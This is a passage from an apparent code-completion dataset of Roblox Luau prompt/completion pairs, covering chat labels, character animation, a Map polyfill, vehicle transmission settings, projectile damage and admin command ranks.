ChatLocalization.tryLocalize then\n\t\t\t\tlocalizedChannelName = ChatLocalization:tryLocalize(messageData.OriginalChannel)\n\t\t\tend\n\t\t\tlocal formatChannelName = string.format(\"{%s}\", localizedChannelName)\n\t\t\tChannelButton = util:AddChannelButtonToBaseMessage(BaseMessage, useChannelColor, formatChannelName, messageData.OriginalChannel)\n\t\t\tlocal numNeededSpaces = util:GetNumberOfSpaces(formatChannelName, useFont, useTextSize) + 1\n\t\t\tBaseMessage.Text = string.rep(\" \", numNeededSpaces) .. message\n\tend\n\n\tlocal function GetHeightFunction(xSize)\n\t\treturn util:GetMessageHeight(BaseMessage, BaseFrame, xSize)\n\tend\n\n\tlocal FadeParmaters = {}\n\tFadeParmaters[BaseMessage] = {\n\t\tTextTransparency = {FadedIn = 0, FadedOut = 1},\n\t\tTextStrokeTransparency = {FadedIn = 0.75, FadedOut = 1}\n\t}\n\n\tif ChannelButton then\n\t\tFadeParmaters[ChannelButton] = {\n\t\t\tTextTransparency = {FadedIn = 0, FadedOut = 1},\n\t\t\tTextStrokeTransparency = {FadedIn = 0.75, FadedOut = 1}\n\t\t}\n\tend\n\n\tlocal FadeInFunction, FadeOutFunction, UpdateAnimFunction = util:CreateFadeFunctions(FadeParmaters)\n\n\treturn {\n\t\t[util.KEY_BASE_FRAME] = BaseFrame,\n\t\t[util.KEY_BASE_MESSAGE] = BaseMessage,\n\t\t[util.KEY_UPDATE_TEXT_FUNC] = nil,\n\t\t[util.KEY_GET_HEIGHT] = GetHeightFunction,\n\t\t[util.KEY_FADE_IN] = FadeInFunction,\n\t\t[util.KEY_FADE_OUT] = FadeOutFunction,\n\t\t[util.KEY_UPDATE_ANIMATION] = UpdateAnimFunction\n\t}\nend\n\nreturn {\n\t[util.KEY_MESSAGE_TYPE] = ChatConstants.MessageTypeWelcome,\n\t[util.KEY_CREATOR_FUNCTION] = CreateWelcomeMessageLabel\n}\n"} +{"prompt": "--script.Parent.Unequipped:Connect(function()\n--\tplayer.PlayerGui:FindFirstChild(\"AlterGui\").Enabled = false\n--end)", "completion": "\n\nscript.Parent.Activated:Connect(function(plr)\n\t--if debounce == false then\n\t--\tdebounce = true\n\t--end\n\twarn(\"Force Destroy activated\")\n\tif mouse.Target then\n\t\twarn(\"target found\")\n\t\tlocal target = mouse.Target\n\t\tif target.Parent:FindFirstChild(\"Humanoid\") then\n\t\t\tlocal PlayerTargeted = target.Parent\n\t\t\tprint(PlayerTargeted)\n\t\t\tremote:FireServer(PlayerTargeted)\n\t\t\twarn(\"destroy fired\")\n\t\tend\n\tend\nend)\n"} +{"prompt": "--------------------------UTIL LIBRARY-------------------------------", "completion": "\nlocal Utility = {}\ndo\n\tlocal function FindCharacterAncestor(part)\n\t\tif part then\n\t\t\tlocal humanoid = part:FindFirstChildOfClass(\"Humanoid\")\n\t\t\tif humanoid then\n\t\t\t\treturn part, humanoid\n\t\t\telse\n\t\t\t\treturn FindCharacterAncestor(part.Parent)\n\t\t\tend\n\t\tend\n\tend\n\tUtility.FindCharacterAncestor = FindCharacterAncestor\n\n\tlocal function Raycast(ray, ignoreNonCollidable: boolean, ignoreList: {Model})\n\t\tignoreList = ignoreList or {}\n\t\tlocal hitPart, hitPos, hitNorm, hitMat = Workspace:FindPartOnRayWithIgnoreList(ray, ignoreList)\n\t\tif hitPart then\n\t\t\tif ignoreNonCollidable and hitPart.CanCollide == false then\n\t\t\t\t-- We always include character parts so a user can click on another character\n\t\t\t\t-- to walk to them.\n\t\t\t\tlocal _, humanoid = FindCharacterAncestor(hitPart)\n\t\t\t\tif humanoid == nil then\n\t\t\t\t\ttable.insert(ignoreList, hitPart)\n\t\t\t\t\treturn Raycast(ray, ignoreNonCollidable, ignoreList)\n\t\t\t\tend\n\t\t\tend\n\t\t\treturn hitPart, hitPos, hitNorm, hitMat\n\t\tend\n\t\treturn nil, nil\n\tend\n\tUtility.Raycast = Raycast\nend\n\nlocal humanoidCache = {}\nlocal function findPlayerHumanoid(player: Player)\n\tlocal character = player and player.Character\n\tif character then\n\t\tlocal resultHumanoid = humanoidCache[player]\n\t\tif resultHumanoid and resultHumanoid.Parent == character then\n\t\t\treturn resultHumanoid\n\t\telse\n\t\t\thumanoidCache[player] = nil -- Bust Old Cache\n\t\t\tlocal humanoid = character:FindFirstChildOfClass(\"Humanoid\")\n\t\t\tif humanoid then\n\t\t\t\thumanoidCache[player] = humanoid\n\t\t\tend\n\t\t\treturn humanoid\n\t\tend\n\tend\nend\n"} +{"prompt": "--[[\n\tAssert that our expectation value is equal to another value within some\n\tinclusive limit.\n]]", "completion": "\nfunction Expectation:near(otherValue, limit)\n\tassert(type(self.value) == \"number\", \"Expectation value must be a number to use 'near'\")\n\tassert(type(otherValue) == \"number\", \"otherValue must be a number\")\n\tassert(type(limit) == \"number\" or limit == nil, \"limit must be a number or nil\")\n\n\tlimit = limit or 1e-7\n\n\tlocal result = (math.abs(self.value - otherValue) <= limit) == self.successCondition\n\n\tlocal message = formatMessage(self.successCondition,\n\t\t(\"Expected value to be near %f (within %f) but got %f instead\"):format(\n\t\t\totherValue,\n\t\t\tlimit,\n\t\t\tself.value\n\t\t),\n\t\t(\"Expected value to not be near %f (within %f) but got %f instead\"):format(\n\t\t\totherValue,\n\t\t\tlimit,\n\t\t\tself.value\n\t\t)\n\t)\n\n\tassertLevel(result, message, 3)\n\tself:_resetModifiers()\n\n\treturn self\nend\n"} +{"prompt": "--!strict", "completion": "\nlocal LuauPolyfill = script.Parent\n\nlocal Array = require(LuauPolyfill.Array)\nlocal Object = require(LuauPolyfill.Object)\nlocal instanceOf = require(LuauPolyfill.instanceof)\ntype Object = Object.Object\ntype Array = Array.Array\ntype Table = { [T]: V }\ntype Tuple = Array\ntype callbackFn = (element: V, key: K, map: Map) -> ()\ntype callbackFnWithThisArg = (thisArg: Object, value: V, key: K, map: Map) -> ()\n\nlocal Map = {}\n\nexport type Map = {\n\tsize: number,\n\t-- method definitions\n\tset: (self: Map, K, V) -> Map,\n\tget: (self: Map, K) -> V | nil,\n\tclear: (self: Map) -> (),\n\tdelete: (self: Map, K) -> boolean,\n\tforEach: (self: Map, callback: callbackFn | callbackFnWithThisArg, thisArg: Object?) -> (),\n\thas: (self: Map, K) -> boolean,\n\tkeys: (self: Map) -> Array,\n\tvalues: (self: Map) -> Array,\n\tentries: (self: Map) -> Array>,\n\tipairs: (self: Map) -> any,\n\t[K]: V,\n\t_map: { [K]: V },\n\t_array: { [number]: K },\n}\n\nfunction Map.new(iterable: Array>?): Map\n\tlocal array = {}\n\tlocal map = {}\n\tif iterable ~= nil then\n\t\tlocal arrayFromIterable\n\t\tlocal iterableType = typeof(iterable)\n\t\tif iterableType == \"table\" then\n\t\t\tif #iterable > 0 and typeof(iterable[1]) ~= \"table\" then\n\t\t\t\terror(\"cannot create Map from {K, V} form, it must be { {K, V}... }\")\n\t\t\tend\n\n\t\t\tarrayFromIterable = Array.from(iterable)\n\t\telse\n\t\t\terror((\"cannot create array from value of type `%s`\"):format(iterableType))\n\t\tend\n\n\t\tfor _, entry in ipairs(arrayFromIterable) do\n\t\t\tlocal key = entry[1]\n\t\t\tif _G.__DEV__ then\n\t\t\t\tif key == nil then\n\t\t\t\t\terror(\"cannot create Map from a table that isn't an array.\")\n\t\t\t\tend\n\t\t\tend\n\t\t\tlocal val = entry[2]\n\t\t\t-- only add to array if new\n\t\t\tif map[key] == nil then\n\t\t\t\ttable.insert(array, key)\n\t\t\tend\n\t\t\t-- always assign\n\t\t\tmap[key] = val\n\t\tend\n\tend\n\n\treturn (setmetatable({\n\t\tsize = #array,\n\t\t_map = map,\n\t\t_array = array,\n\t}, Map) :: any) :: Map\nend\n\nfunction Map:set(key: K, value: V): Map\n\t-- preserve initial insertion order\n\tif self._map[key] == nil then\n\t\t-- Luau FIXME: analyze should know self is Map which includes size as a number\n\t\tself.size = self.size :: number + 1\n\t\ttable.insert(self._array, key)\n\tend\n\t-- always update value\n\tself._map[key] = value\n\treturn self\nend\n\nfunction Map:get(key)\n\treturn self._map[key]\nend\n\nfunction Map:clear()\n\tlocal table_: any = table\n\tself.size = 0\n\ttable_.clear(self._map)\n\ttable_.clear(self._array)\nend\n\nfunction Map:delete(key): boolean\n\tif self._map[key] == nil then\n\t\treturn false\n\tend\n\t-- Luau FIXME: analyze should know self is Map which includes size as a number\n\tself.size = self.size :: number - 1\n\tself._map[key] = nil\n\tlocal index = table.find(self._array, key)\n\tif index then\n\t\ttable.remove(self._array, index)\n\tend\n\treturn true\nend\n"} +{"prompt": "-- update loop", "completion": "\n\ngame:GetService(\"RunService\").Heartbeat:Connect(function(dt)\n\tBP.Position = lookAt(target.Position);\n\tlocal set = springPart.Position;\n\tneck.C0 = neckC0 * CFrame.fromEulerAnglesYXZ(set.z*0.5, set.x, 0);\n\twaist.C0 = waistC0 * CFrame.fromEulerAnglesYXZ(set.z*0.5, set.y, 0);\nend);\n"} +{"prompt": "--Weld stuff here", "completion": "\nMakeWeld(car.Misc.Wheel.A,car.TruckSeat,\"Motor\",.5).Name=\"W\"\nModelWeld(car.Misc.Wheel.Parts,car.Misc.Wheel.A)\n\n\n\ncar.TruckSeat.ChildAdded:connect(function(child)\n\tif child.Name==\"SeatWeld\" and child:IsA(\"Weld\") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then\n\t\tchild.C0=CFrame.new(0,-.5,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0)*CFrame.Angles(math.rad(13),0,0)\n\tend\nend)\n"} +{"prompt": "------------------\n------------------", "completion": "\n\n\nfunction waitForChild(parent, childName)\n\twhile true do\n\t\tlocal child = parent:findFirstChild(childName)\n\t\tif child then\n\t\t\treturn child\n\t\tend\n\t\tparent.ChildAdded:wait()\n\tend\nend\n\nlocal Figure = script.Parent\nlocal Torso = waitForChild(Figure, \"Torso\")\nlocal RightShoulder = waitForChild(Torso, \"Right Shoulder\")\nlocal LeftShoulder = waitForChild(Torso, \"Left Shoulder\")\nlocal RightHip = waitForChild(Torso, \"Right Hip\")\nlocal LeftHip = waitForChild(Torso, \"Left Hip\")\nlocal Neck = waitForChild(Torso, \"Neck\")\nlocal Humanoid = waitForChild(Figure, \"Humanoid\")\nlocal pose = \"Standing\"\n\nlocal toolAnim = \"None\"\nlocal toolAnimTime = 0\n\nlocal isSeated = false\n\n\nfunction onRunning(speed)\n\tif isSeated then return end\n\n\tif speed>0 then\n\t\tpose = \"Running\"\n\telse\n\t\tpose = \"Standing\"\n\tend\nend\n\nfunction onDied()\n\tpose = \"Dead\"\nend\n\nfunction onJumping()\n\tisSeated = false\n\tpose = \"Jumping\"\nend\n\nfunction onClimbing()\n\tpose = \"Climbing\"\nend\n\nfunction onGettingUp()\n\tpose = \"GettingUp\"\nend\n\nfunction onFreeFall()\n\tpose = \"FreeFall\"\nend\n\nfunction onDancing()\n\tpose = \"Dancing\"\nend\n\nfunction onFallingDown()\n\tpose = \"FallingDown\"\nend\n\nfunction onSeated()\n\tisSeated = true\n\tpose = \"Seated\"\nend\n\n\n\nfunction moveJump()\n\tRightShoulder.MaxVelocity = 0.5\n\tLeftShoulder.MaxVelocity = 0.5\n\tRightShoulder.DesiredAngle = -3.14\n\tLeftShoulder.DesiredAngle = -3.14\n\tRightHip.DesiredAngle = 0\n\tLeftHip.DesiredAngle = 0\nend\n\nfunction moveFreeFall()\n\tRightShoulder.MaxVelocity = 0.5\n\tLeftShoulder.MaxVelocity = 0.5\n\tRightShoulder.DesiredAngle = -1\n\tLeftShoulder.DesiredAngle = -1\n\tRightHip.DesiredAngle = 0\n\tLeftHip.DesiredAngle = 0\nend\n\nfunction moveFloat()\n\tRightShoulder.MaxVelocity = 0.5\n\tLeftShoulder.MaxVelocity = 0.5\n\tRightShoulder.DesiredAngle = -1.57\n\tLeftShoulder.DesiredAngle = 1.57\n\tRightHip.DesiredAngle = 1.57\n\tLeftHip.DesiredAngle = -1.57\nend\n\nfunction moveBoogy()\nwhile pose==\"Boogy\" do\n\twait(.5)\n\tRightShoulder.MaxVelocity = 1\n\tLeftShoulder.MaxVelocity = 1\n\tRightShoulder.DesiredAngle = -3.14\n\tLeftShoulder.DesiredAngle = 0\n\tRightHip.DesiredAngle = 1.57\n\tLeftHip.DesiredAngle = 0\n\twait(.5)\n\tRightShoulder.MaxVelocity = 1\n\tLeftShoulder.MaxVelocity = 1\n\tRightShoulder.DesiredAngle = 0\n\tLeftShoulder.DesiredAngle = -3.14\n\tRightHip.DesiredAngle = 0\n\tLeftHip.DesiredAngle = 1.57\nend\nend\n\nfunction moveZombie()\n\tRightShoulder.MaxVelocity = 0.5\n\tLeftShoulder.MaxVelocity = 0.5\n\tRightShoulder.DesiredAngle = -1.57\n\tLeftShoulder.DesiredAngle = 1.57\n\tRightHip.DesiredAngle = 0\n\tLeftHip.DesiredAngle = 0\nend\n\nfunction movePunch()\n\tscript.Parent.Torso.Anchored=true\n\tRightShoulder.MaxVelocity = 60\n\tLeftShoulder.MaxVelocity = 0.5\n\tRightShoulder.DesiredAngle = -1.57\n\tLeftShoulder.DesiredAngle = 0\n\tRightHip.DesiredAngle = 0\n\tLeftHip.DesiredAngle = 0\nwait(1)\nscript.Parent.Torso.Anchored=false\npose=\"Standing\"\n\nend\n\nfunction moveKick()\n\tRightShoulder.MaxVelocity = 0.5\n\tLeftShoulder.MaxVelocity = 0.5\n\tRightShoulder.DesiredAngle = 0\n\tLeftShoulder.DesiredAngle = 0\n\tRightHip.MaxVelocity = 40\n\tRightHip.DesiredAngle = 1.57\n\tLeftHip.DesiredAngle = 0\nwait(1)\npose=\"Standing\"\n\nend\n\nfunction moveFly()\n\tRightShoulder.MaxVelocity = 0.5\n\tLeftShoulder.MaxVelocity = 0.5\n\tRightShoulder.DesiredAngle = 0\n\tLeftShoulder.DesiredAngle = 0\n\tRightHip.MaxVelocity = 40\n\tRightHip.DesiredAngle = 1.57\n\tLeftHip.DesiredAngle = 0\nwait(1)\npose=\"Standing\"\n\nend\n\n\nfunction moveClimb()\n\tRightShoulder.MaxVelocity = 0.5\n\tLeftShoulder.MaxVelocity = 0.5\n\tRightShoulder.DesiredAngle = -3.14\n\tLeftShoulder.DesiredAngle = 3.14\n\tRightHip.DesiredAngle = 0\n\tLeftHip.DesiredAngle = 0\nend\n\nfunction moveSit()\n\tRightShoulder.MaxVelocity = 0.15\n\tLeftShoulder.MaxVelocity = 0.15\n\tRightShoulder.DesiredAngle = -3.14 /2\n\tLeftShoulder.DesiredAngle = -3.14 /2\n\tRightHip.DesiredAngle = 3.14 /2\n\tLeftHip.DesiredAngle = -3.14 /2\nend\n\nfunction getTool()\n\t\n\tkidTable = Figure:children()\n\tif (kidTable ~= nil) then\n\t\tnumKids = #kidTable\n\t\tfor i=1,numKids do\n\t\t\tif (kidTable[i].className == \"Tool\") then return kidTable[i] end\n\t\tend\n\tend\n\t\n\treturn nil\nend\n\nfunction getToolAnim(tool)\n\n\tc = tool:children()\n\tfor i=1,#c do\n\t\tif (c[i].Name == \"toolanim\" and c[i].className == \"StringValue\") then\n\t\t\treturn c[i]\n\t\tend\n\tend\n\treturn nil\nend\n\nfunction animateTool()\n\t\n\tif (toolAnim == \"None\") then\n\t\tRightShoulder.DesiredAngle = -1.57\n\t\treturn\n\tend\n\n\tif (toolAnim == \"Slash\") then\n\t\tRightShoulder.MaxVelocity = 0.5\n\t\tRightShoulder.DesiredAngle = 0\n\t\treturn\n\tend\n\n\tif (toolAnim == \"Lunge\") then\n\t\tRightShoulder.MaxVelocity = 0.5\n\t\tLeftShoulder.MaxVelocity = 0.5\n\t\tRightHip.MaxVelocity = 0.5\n\t\tLeftHip.MaxVelocity = 0.5\n\t\tRightShoulder.DesiredAngle = -1.57\n\t\tLeftShoulder.DesiredAngle = 1.0\n\t\tRightHip.DesiredAngle = 1.57\n\t\tLeftHip.DesiredAngle = 1.0\n\t\treturn\n\tend\nend\n\nfunction move(time)\n\tlocal amplitude\n\tlocal frequency\n\n\tif (pose == \"Jumping\") then\n\t\tmoveJump()\n\t\treturn\n\tend\n\n\tif (pose == \"Zombie\") then\n\t\tmoveZombie()\n\t\treturn\n\tend\n\n\tif (pose == \"Boogy\") then\n\t\tmoveBoogy()\n\t\treturn\n\tend\n\n\tif (pose == \"Float\") then\n\t\tmoveFloat()\n\t\treturn\n\tend\n\n\tif (pose == \"Punch\") then\n\t\tmovePunch()\n\t\treturn\n\tend\n\n\tif (pose == \"Kick\") then\n\t\tmoveKick()\n\t\treturn\n\tend\n\n\tif (pose == \"Fly\") then\n\t\tmoveFly()\n\t\treturn\n\tend\n\n\tif (pose == \"FreeFall\") then\n\t\tmoveFreeFall()\n\t\treturn\n\tend\n\n\tif (pose == \"Climbing\") then\n\t\tmoveClimb()\n\t\treturn\n\tend\n\n\tif (pose == \"Seated\") then\n\t\tmoveSit()\n\t\treturn\n\tend\n\n\t\tamplitude = 0.1\n\t\tfrequency = 1\n\n\tRightShoulder.MaxVelocity = 0.15\n\tLeftShoulder.MaxVelocity = 0.15\n\tif (pose == \"Running\") then\n\t\tamplitude = 1\n\t\tfrequency = 9\n\telseif (pose == \"Dancing\") then\n\t\tamplitude = 2\n\t\tfrequency = 16\n\tend\n\n\n\tdesiredAngle = amplitude * math.sin(time*frequency)\n\tif pose~=\"Dancing\" then\n\t\tRightShoulder.DesiredAngle = -desiredAngle\n\t\tLeftShoulder.DesiredAngle = desiredAngle\n\t\tRightHip.DesiredAngle = -desiredAngle\n\t\tLeftHip.DesiredAngle = -desiredAngle\n\telse\n\t\tRightShoulder.DesiredAngle = desiredAngle\n\t\tLeftShoulder.DesiredAngle = desiredAngle\n\t\tRightHip.DesiredAngle = -desiredAngle\n\t\tLeftHip.DesiredAngle = -desiredAngle\n\tend\n\t\t\n\n\n\tlocal tool = getTool()\n\n\tif tool ~= nil then\n\t\n\t\tanimStringValueObject = getToolAnim(tool)\n\n\t\tif animStringValueObject ~= nil then\n\t\t\ttoolAnim = animStringValueObject.Value\n\t\t\t-- message recieved, delete StringValue\n\t\t\tanimStringValueObject.Parent = nil\n\t\t\ttoolAnimTime = time + .3\n\t\tend\n\n\t\tif time > toolAnimTime then\n\t\t\ttoolAnimTime = 0\n\t\t\ttoolAnim = \"None\"\n\t\tend\n\n\t\tanimateTool()\n\n\t\t\n\telse\n\t\ttoolAnim = \"None\"\n\t\ttoolAnimTime = 0\n\tend\nend\n\n"} +{"prompt": "--[[**\n\tensures value is either nil or passes check\n\n\t@param check The check to use\n\n\t@returns A function that will return true iff the condition is passed\n**--]]", "completion": "\nfunction t.optional(check)\n\tassert(t.callback(check))\n\treturn function(value)\n\t\tif value == nil then\n\t\t\treturn true\n\t\tend\n\n\t\tlocal success, errMsg = check(value)\n\t\tif success then\n\t\t\treturn true\n\t\telse\n\t\t\treturn false, string.format(\"(optional) %s\", errMsg or \"\")\n\t\tend\n\tend\nend\n"} +{"prompt": "-- FUNCTIONS", "completion": "\nfunction Tracker.getCombinedTotalVolumes()\n\tlocal combinedVolume = 0\n\tfor tracker, _ in pairs(trackers) do\n\t\tcombinedVolume += tracker.totalVolume\n\tend\n\treturn combinedVolume\nend\n\nfunction Tracker.getCharacterSize(character)\n\tlocal head = character and character:FindFirstChild(\"Head\")\n\tlocal hrp = character and character:FindFirstChild(\"HumanoidRootPart\")\n\tif not(hrp and head) then return nil end\n\tif not head:IsA(\"BasePart\") then\n\t\thead = hrp\n\tend\n\tlocal headY = head.Size.Y\n\tlocal hrpSize = hrp.Size\n\tlocal charSize = (hrpSize * Vector3.new(2, 2, 1)) + Vector3.new(0, headY, 0)\n\tlocal charCFrame = hrp.CFrame * CFrame.new(0, headY/2 - hrpSize.Y/2, 0)\n\treturn charSize, charCFrame\nend\n\n\n"} +{"prompt": "--SupremeGggggg\n--Notice Equipping animation has a little but if you equip very fast it will stop in a wierd position. I will be fixingg this in the future!\n--Note this is currently not R15 compatible!", "completion": "\n\n"} +{"prompt": "---------------\n--// Preset Variables\n---------------", "completion": "\nlocal Players = game.Players\nlocal Lighting = game.Lighting\nlocal ReplicatedStorage = game.ReplicatedStorage\nlocal RemoteEvents = ReplicatedStorage.RemoteEvents\nlocal RepAssets = ReplicatedStorage.RepAssets\nlocal TweenService = game:GetService(\"TweenService\")\nlocal LocalPlayer = Players.LocalPlayer\nlocal PlayerGui = LocalPlayer.PlayerGui\nlocal Character = LocalPlayer.Character\nlocal Camera = workspace.CurrentCamera\nlocal Mouse = LocalPlayer:GetMouse()\nlocal UIS = game:GetService(\"UserInputService\")\nlocal STC = RemoteEvents.STC --// [STC] Receive\nlocal CTS = RemoteEvents.CTS --// [CTS] Send\n\n"} +{"prompt": "--\t\t\t\t\t\t\t\t\t\tif human.Health <= 0 then\n--\t\t\t\t\t\t\t\t\t\t\ttorso.Velocity = (torso.Position - position).unit * 10;\n--\t\t\t\t\t\t\t\t\t\t\tprint(\"Dead\");\n--\t\t\t\t\t\t\t\t\t\tend", "completion": "\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\tprint(\"Took \"..(100-(distance-radius)*(100/radius))..\" Damage\")\n\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\tend"} +{"prompt": "--[[Transmission]]", "completion": "\n\tTune.Clutch\t\t\t= true\t\t-- Implements a realistic clutch, change to \"false\" for the chassis to act like AC6.81T.\n\n\tTune.TransModes\t\t= {\"Auto\",\"Semi\",\"Manual\"}\t\t\t\t\t\t\t\t\t\t\t\t--[[\n\t[Modes]\n\t\t\"Auto\"\t\t: Automatic shifting\n\t\t\"Semi\"\t\t: Clutchless manual shifting, dual clutch transmission\n\t\t\"Manual\"\t: Manual shifting with clutch\n\t\t\n\t\t>Include within brackets\n\t\t\teg: {\"Semi\"} or {\"Auto\", \"Manual\"}\t\t\t\t\t\t\t\t\n\t>First mode is default mode\t\t\t\t\t\t\t\t\t\t\t\t\t]]\n\t\n\tTune.ClutchMode\t\t= \"New\"\t\t\t\t\t\t\t\t\t\t\t\t--[[\n\t[Modes]\n\t\t\"New\"\t\t: Speed controls clutch engagement\t\t\t(AC6C V1.2)\n\t\t\"Old\"\t\t: Speed and RPM control clutch engagement\t(AC6C V1.1)\t\t]]\n\t\n\tTune.ClutchType \t= \"Clutch\"\t\t\t\t\t\t\t\t\t\t--[[\n\t[Types]\n\t\t\"Clutch\"\t\t\t: Standard clutch, recommended\n\t\t\"TorqueConverter\"\t: Torque converter, keeps RPM up\n\t\t\"CVT\"\t\t\t\t: CVT, found in scooters\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t]] \n\t--[[Transmission]]\n\t--Transmission Settings\n\tTune.Stall\t\t\t= true\t\t-- Stalling, enables the car to stall. An ignition plugin would be necessary. Disables if Tune.Clutch is false.\n\tTune.ClutchRel\t\t= false\t\t-- If true, the driver must let off the gas before shifting to a higher gear. Recommended false for beginners.\n\tTune.ClutchEngage\t= 10\t\t-- How fast engagement is (0 = instant, 99 = super slow)\t\n\tTune.SpeedEngage \t= 20\t\t-- Speed the clutch fully engages at (Based on SPS) \n\t\n\tTune.ClutchKick\t\t\t= true\t-- (LuaInt)\n\tTune.KickMult\t\t\t= 15\t-- Torque multiplier on launch\n\tTune.KickSpeedThreshold = 40\t-- Speed limit on launch (SPS)\n\tTune.KickRPMThreshold \t= 1000\t-- RPM limit on launch, range is created below redline\n\t\n\t--Clutch: \"Old\" mode\n\tTune.ClutchRPMMult\t= 1.0\t\t-- Clutch RPM multiplier, recommended to leave at 1.0\n\t\n\t--Torque Converter:\n\tTune.TQLock \t\t= false\t\t-- Torque converter starts locking at a certain RPM\n\t\n\t--Torque Converter and CVT:\n\tTune.RPMEngage \t\t= 3500\t\t-- Keeps RPMs to this level until passed\n\t\n\t--Neutral Rev Limiter (Avxnturador)\n\tTune.NeutralLimit\t= false\t\t-- Enables a different redline RPM for when the car is in neutral\n\tTune.NeutralRevRPM\t= 5000\t\t-- The rev limiter when the car is in neutral\n\tTune.LimitClutch\t= false\t\t-- Will also limit RPMs while the clutch is pressed down\n\t\n\t--Automatic Settings\n\tTune.AutoShiftMode\t= \"Speed\"\t\t\t\t\t\t\t\t\t\t\t\t--[[\n\t[Modes]\n\t\t\"Speed\"\t\t: Shifts based on wheel speed\n\t\t\"RPM\"\t\t: Shifts based on RPM\t\t\t\t\t\t\t\t\t\t]]\t\n\tTune.AutoShiftType\t= \"DCT\"\t\t\t\t\t\t\t\t\t\t\t\t--[[\n\t[Types]\n\t\t\"Rev\"\t\t: Clutch engages fully once RPM reached\t\t\t(AC6C V1)\n\t\t\"DCT\"\t\t: Clutch engages after a set time has passed\t(AC6.81T)\t]]\n\tTune.AutoShiftVers\t= \"New\"\t\t\t\t\t\t\t\t\t\t\t\t--[[\n\t[Versions]\n\t\t\"New\"\t\t: Shift from Reverse, Neutral, and Drive\t\t(AC6.81T)\n\t\t\"Old\"\t\t: Auto shifts into R or D when stopped.\t\t\t(AC6.52S2)\t]]\n\tTune.AutoUpThresh\t= -200\t\t-- Automatic upshift point \t(relative to peak RPM, positive = Over-rev)\n\tTune.AutoDownThresh = 1400\t\t-- Automatic downshift point (relative to peak RPM, positive = Under-rev)\n\t\n\t--Automatic: Revmatching\n\tTune.ShiftThrot\t\t= 100\t\t-- Throttle level when shifting down to revmatch, 0 - 100%\n\t\n\t--Automatic: DCT\n\tTune.ShiftUpTime\t= 0.25\t\t-- Time required to shift into next gear, from a lower gear to a higher one.\n\tTune.ShiftDnTime\t= 0.125\t\t-- Time required to shift into next gear, from a higher gear to a lower one.\n\t\n\t--Gear Ratios\n\t\n\tTune.FinalDrive\t\t= 3.545\n\tTune.Ratios\t\t\t= {\n\t\t--[[Reverse]]\t3.28\t\t,\n\t\t--[[Neutral]]\t0\t\t\t,\n\t\t--[[ 1 ]]\t\t3.827\t\t,\n\t\t--[[ 2 ]]\t\t2.36\t\t,\n\t\t--[[ 3 ]]\t\t1.685\t\t,\n\t\t--[[ 4 ]]\t\t1.313\t\t,\n\t\t--[[ 5 ]]\t\t1\t\t\t,\n\t\t--[[ 6 ]]\t\t.793\t\t,\n\t}\n\tTune.FDMult\t\t\t= 1\t\t\t-- Ratio multiplier (keep this at 1 if car is not struggling with torque)\n\t"} +{"prompt": "--\tlocal dir = pos.CFrame.lookVector\n--\tlocal pos1 = pos.Position + (dir * 6)\n--\trocket.CFrame = CFrame.new(pos1, pos1 + dir)", "completion": "\n\tscr.Disabled= false\n\trocket.Parent = game.Workspace\n\t\n\t-- \u0442.\u0435. \u0434\u0430\u043b\u044c\u0448\u0435 \u043e\u043d \u0436\u0438\u0432\u0451\u0442 \u0441\u0430\u043c \u043f\u043e \u0441\u0435\u0431\u0435\t\nend\n\nreturn module\n"} +{"prompt": "--!nonstrict\n--[[\n\t-- Original By Kip Turner, Copyright Roblox 2014\n\t-- Updated by Garnold to utilize the new PathfindingService API, 2017\n\t-- 2018 PlayerScripts Update - AllYourBlox\n--]]", "completion": "\n"} +{"prompt": "--- Active", "completion": "\nscript.Parent.OnServerEvent:Connect(function(Player)\n\tlocal Projectile = game.ReplicatedStorage.TripleYoru.TriplSlash.FXG:Clone()\n\tlocal BV = Instance.new(\"BodyVelocity\",Projectile)\n\tBV.MaxForce = Vector3.new(math.huge,math.huge,math.huge)\n\tBV.Velocity = Player.Character.HumanoidRootPart.CFrame.LookVector * 0\n\tProjectile.Parent = workspace\n\tProjectile.CanCollide = false\n\tProjectile.Anchored = false\n\tProjectile.CFrame = Player.Character.HumanoidRootPart.CFrame * CFrame.new(0,-2,0) * CFrame.fromEulerAnglesXYZ(0,5.5,0)\n\tProjectile.Touched:Connect(function(hit)\n\tif hit.Parent:FindFirstChild(\"Humanoid\") and hit.Parent.Name ~= Player.Name and hit.Parent:WaitForChild(\"Humanoid\") ~= nil and hit.Parent:WaitForChild(\"Humanoid\").Health ~= 0 and not hit.Parent:FindFirstChild(\"AlreadyHit\") then\n\t\t\tlocal Check = Instance.new(\"IntValue\", hit.Parent)\n\t\t\t\tCheck.Name = \"AlreadyHit\"\n\t\t\t\tgame.Debris:AddItem(Check ,1)\n\t\t\tlocal VCharacter = game.Workspace:FindFirstChild(Player.Name)\n\t local vPlayer = game.Players:GetPlayerFromCharacter(VCharacter)\n\t local Humanoid = hit.Parent:WaitForChild(\"Humanoid\")\n\t\t\tHumanoid:TakeDamage(100)\n\t\t\ttagHumanoid(hit.Parent:FindFirstChild(\"Humanoid\"),vPlayer)\n\t\t\twait(0.05)\n\t\t\tuntagHumanoid(hit.Parent:FindFirstChild(\"Humanoid\"))\t\n\t\tend\n\tend)\n\twait(2.9)\n\tBV:Destroy()\n\tProjectile.Transparency = 1\n\tProjectile.Anchored = false\n\twait(0.2)\n\tProjectile.CanCollide = false\n\twait(0.25)\n\tfor i = 0,5 do\n\t\twait(0.025)\n\t\tProjectile.Transparency = Projectile.Transparency + 1\n\t\tProjectile.Texture1.Transparency = Projectile.Texture1.Transparency + 1\n\t\tProjectile.Texture2.Transparency = Projectile.Texture2.Transparency + 1\n\tend\n\tProjectile:Destroy()\nend)\n"} +{"prompt": "-- The third number determines how far ahead/back your hat will be placed. Making the number positive will place the hat ahead of \n-- you, while making the number negative will place the hat behind you some.", "completion": "\n"} +{"prompt": "-- Colors", "completion": "\nlocal themeColor = ContainerGui:GetAttribute(\"ThemeColor\")\n\nFormFrame.BackgroundColor3 = themeColor:Lerp(Colors.White, 0.75)\nScrollingFrame.ScrollBarImageColor3 = themeColor:Lerp(Colors.White, 0.25)\n"} +{"prompt": "--------------| MODIFY COMMANDS |--------------", "completion": "\nSetCommandRankByName = {\n\t--[\"jump\"] = \"VIP\";\n};\t\nSetCommandRankByTag = {\n\t--[\"abusive\"] = 